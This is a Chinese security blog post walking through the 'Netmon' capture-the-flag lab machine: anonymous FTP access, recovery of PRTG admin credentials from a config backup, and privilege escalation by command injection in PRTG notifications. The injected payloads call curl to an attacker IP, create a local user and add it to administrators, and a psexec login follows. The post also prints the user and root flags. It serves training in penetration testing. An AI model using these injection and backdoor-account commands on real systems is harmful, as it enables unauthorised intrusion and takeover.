freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Easy] Netmon FTP匿名登录+PRTG 网络监控RCE权限提升
2024-09-16 14:15:20

信息收集

IP AddressOpening Ports
10.10.10.152TCP:21,135,139,139,445,5985

$ nmap -p- 10.10.10.152 --min-rate 1000 -sC -sV

PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19  11:18PM                 1024 .rnd
| 02-25-19  09:15PM       <DIR>          inetpub
| 07-16-16  08:18AM       <DIR>          PerfLogs
| 02-25-19  09:56PM       <DIR>          Program Files
| 02-02-19  11:28PM       <DIR>          Program Files (x86)
| 02-03-19  07:08AM       <DIR>          Users
|_03-04-19  02:12PM       <DIR>          Windows
| ftp-syst: 
|_  SYST: Windows_NT
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

FTP

ftp 10.10.10.152

ftp> get Users/Public/user.txt

image.png

User.txt

aef9a99e68e9807ecc4ecf46fc49746b

权限提升

PRTG 网络监控 RCE

http://10.10.10.152/index.htm

image-1.png

ftp> cd "ProgramData/Paessler/PRTG Network Monitor"

image-2.png

ftp> get "PRTG Configuration.old.bak"

$ cat PRTG\ Configuration.old.bak

image-3.png

username: prtgadmin
password: PrTg@dmin2018

image-4.png

根据日期推断密码也有可能是password: PrTg@dmin2019

image-5.png

Setup > Account Settings > Notifications

image-6.png

添加新通知

;curl http://10.10.16.17/rce

image-7.png

http://10.10.10.152/myaccount.htm?tabid=2

image-8.png

image-10.png

image-9.png

;curl http://10.10.16.17/Run;net user maptnh P0wned /add;curl http://10.10.16.17/UserAdd;net localgroup administrators maptnh /add;curl http://10.10.16.17/Done

image-12.png

$ impacket-psexec 'maptnh:P0wned@10.10.10.152'

image-13.png

Root.txt

fbaa6dc557503e828c1675b86665888f

# web安全 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录